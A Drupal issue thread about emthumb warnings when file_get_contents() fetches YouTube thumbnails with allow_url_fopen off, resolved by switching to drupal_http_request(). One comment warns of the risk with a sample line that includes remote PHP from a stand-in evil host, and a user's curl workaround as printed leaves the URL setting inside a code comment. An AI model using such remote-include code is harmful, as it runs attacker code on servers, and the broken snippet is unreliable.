Using latest -dev modules and latest drupal 6.14 I am getting this:



    * warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in modules/emfield/contrib/emthumb/emthumb.module on line 543.
    * warning: file_get_contents(http://img.youtube.com/vi/dzKMjBPQqH0/0.jpg) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in modules/emfield/contrib/emthumb/emthumb.module on line 543.
    * warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in modules/emfield/contrib/emthumb/emthumb.module on line 543.
    * warning: file_get_contents(http://img.youtube.com/vi/dzKMjBPQqH0/0.jpg) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in modules/emfield/contrib/emthumb/emthumb.module on line 543.

after submitting an embedded video from youtube. I will try others and report back.

Comments

Robert Heinze’s picture

Same here, what is the solution?

aaron’s picture

Status: Active » Postponed (maintainer needs more info)

this is unfortunate. it looks like a server php configuration problem. can one of you having the problem post your php info here, maybe i can compare it to mine and find the problem?

thanks,
aaron

kompatv’s picture

subscribing

likewhoa’s picture

if you need the whole phpinfo() output you'll have to pm me so i can give you a link to it, but here is what php was compiled with.

'./configure' '--prefix=/usr/lib64/php5' '--host=x86_64-pc-linux-gnu' '--mandir=/usr/lib64/php5/man' '--infodir=/usr/lib64/php5/info' '--sysconfdir=/etc' '--cache-file=./config.cache' '--with-libdir=lib64' '--with-pcre-regex=/usr' '--disable-cli' '--enable-cgi' '--enable-fastcgi' '--enable-fpm' '--with-fpm-conf=/etc/php/cgi-php5/php-fpm.conf' '--disable-discard-path' '--disable-force-cgi-redirect' '--with-config-file-path=/etc/php/cgi-php5' '--with-config-file-scan-dir=/etc/php/cgi-php5/ext-active' '--without-pear' '--enable-bcmath' '--with-bz2' '--enable-calendar' '--with-curl' '--without-curlwrappers' '--disable-dbase' '--enable-exif' '--without-fbsql' '--without-fdftk' '--enable-ftp' '--with-gettext' '--without-gmp' '--disable-hash' '--disable-ipv6' '--disable-json' '--without-kerberos' '--enable-mbstring' '--with-mcrypt' '--with-mhash' '--without-msql' '--without-mssql' '--with-ncurses' '--with-openssl' '--with-openssl-dir=/usr' '--disable-pcntl' '--disable-pdo' '--without-pgsql' '--without-pspell' '--without-recode' '--disable-simplexml' '--disable-shmop' '--without-snmp' '--enable-soap' '--disable-sockets' '--without-sybase' '--without-sybase-ct' '--disable-sysvmsg' '--disable-sysvsem' '--disable-sysvshm' '--without-tidy' '--disable-tokenizer' '--disable-wddx' '--disable-xmlwriter' '--without-xmlrpc' '--without-xsl' '--disable-zip' '--with-zlib' '--disable-debug' '--enable-dba' '--without-cdb' '--without-db4' '--disable-flatfile' '--with-gdbm' '--disable-inifile' '--without-qdbm' '--with-freetype-dir=/usr' '--with-t1lib=/usr' '--disable-gd-jis-conv' '--with-jpeg-dir=/usr' '--with-png-dir=/usr' '--without-xpm-dir' '--with-gd' '--with-imap' '--with-imap-ssl' '--with-mysql=/usr' '--with-mysql-sock=/var/run/mysqld/mysqld.sock' '--with-mysqli=/usr/bin/mysql_config' '--with-readline' '--without-libedit' '--without-mm' '--without-sqlite'
likewhoa’s picture

Status: Postponed (maintainer needs more info) » Active
aaron’s picture

Status: Active » Postponed (maintainer needs more info)

I suspect the server is either running PHP in safe mode, or with allow_url_fopen = OFF. Can you please check that? See also #436146: warning: fopen(/tmp/) [0function.fopen0]: failed to open stream: Is a directory in .../feedapi_imagegrabber.module on line 526 and #210191: Problems with file_get_contents().

likewhoa’s picture

Status: Postponed (maintainer needs more info) » Active

both of those are off, I rather not turn on safe mode but allow_url_fopen would be no problem, if you require safe mode to be on then I would suggest you find a way for it to work with it off. Thanks.

aaron’s picture

Status: Active » Fixed

no, don't run it with safe mode on. causes lots of issues w/ drupal in general.

you do need allow_url_fopen ON for embedded thumbnail media.

aaron’s picture

Assigned: Unassigned » aaron
Status: Fixed » Needs work

i suppose we could discover that in the module requirements?

likewhoa’s picture

safe mode has issues with php in general thus why it's recommended to be off for most. Thanks for the help and I would just add the allow_url_fopen requirement in README.txt

aaron’s picture

Status: Needs work » Fixed

Thanks, added that to the readme.

Status: Fixed » Closed (fixed)

Automatically closed -- issue fixed for 2 weeks with no activity.

flaviovs’s picture

Sorry for reopening this issue, but I don't think that advising people to turn allow_url_fopen on is the correct way to handle it.

Notice that allow_url_fopen is a PHP mistake from a security point of view. Running with allow_url_fopen = on allows thing like:

include('http://evil.example.com/exploit.php');

The code above will load and run the remote PHP file on the server if allow_url_fopen is on and allow_url_include is also on (which sadly may be the case in many servers where PHP were updated but new directives like this one were not included on php.ini).

That's why many hosting companies run with allow_url_fopen = off.

But even if you're willing to run with allow_url_fopen = on, you may not be allowed to do so by your hosting company. In such cases, the only choice would be to switch host, which may be a PITA in some cases.

So what's the solution then?

For general PHP programming, you may use the curl extension or even roll your own HTTP request procedure using the socket interface.

But hey, we all use Drupal here so we already have drupal_http_request() which do the dirty job of making the TCP connection, doing the HTTP talk, handling errors etc.:

drupal_http_request():

Perform an HTTP request.

This is a flexible and powerful HTTP client implementation. Correctly handles GET, POST, PUT or any other HTTP requests. Handles redirects.

So IMHO the correct way to fix this problem is to switch all remote file_get_contents() with drupal_http_request().

aaron’s picture

Status: Closed (fixed) » Active

Thanks @flaviovs, I'll roll this into the next release.

imclean’s picture

I agree flaviovs. Thanks for looking into this aaron.

dyke it’s picture

subscribing...

teh_catt’s picture

subscribing...

albert8’s picture

Hi everyone, I managed to solve this problem using curl. Well,the error messages have disappeared and things seem to be working just fine.

Insert this into emthumb.module:

function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser. curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch); curl_close($ch);
return $data;
}

Change this line:

// Attempt to fetch the thumbnail from the provided URL.
$image = file_get_contents($thumbnail);

To:

// Attempt to fetch the thumbnail from the provided URL.
$image = file_get_contents_curl($thumbnail);

Thats all!

flaviovs’s picture

Albert8, why not use drupal_http_request?

rootdownmedia’s picture

Thanks Albert8 #18 worked for me (using 6.x-1.20). This is a critical bug and would be great to roll into next release.

aaron’s picture

Status: Active » Fixed

OK, should be fixed now, and committed to all d6 dev branches. Thanks!

aaron’s picture

using drupal_http_request of course.

Status: Fixed » Closed (fixed)

Automatically closed -- issue fixed for 2 weeks with no activity.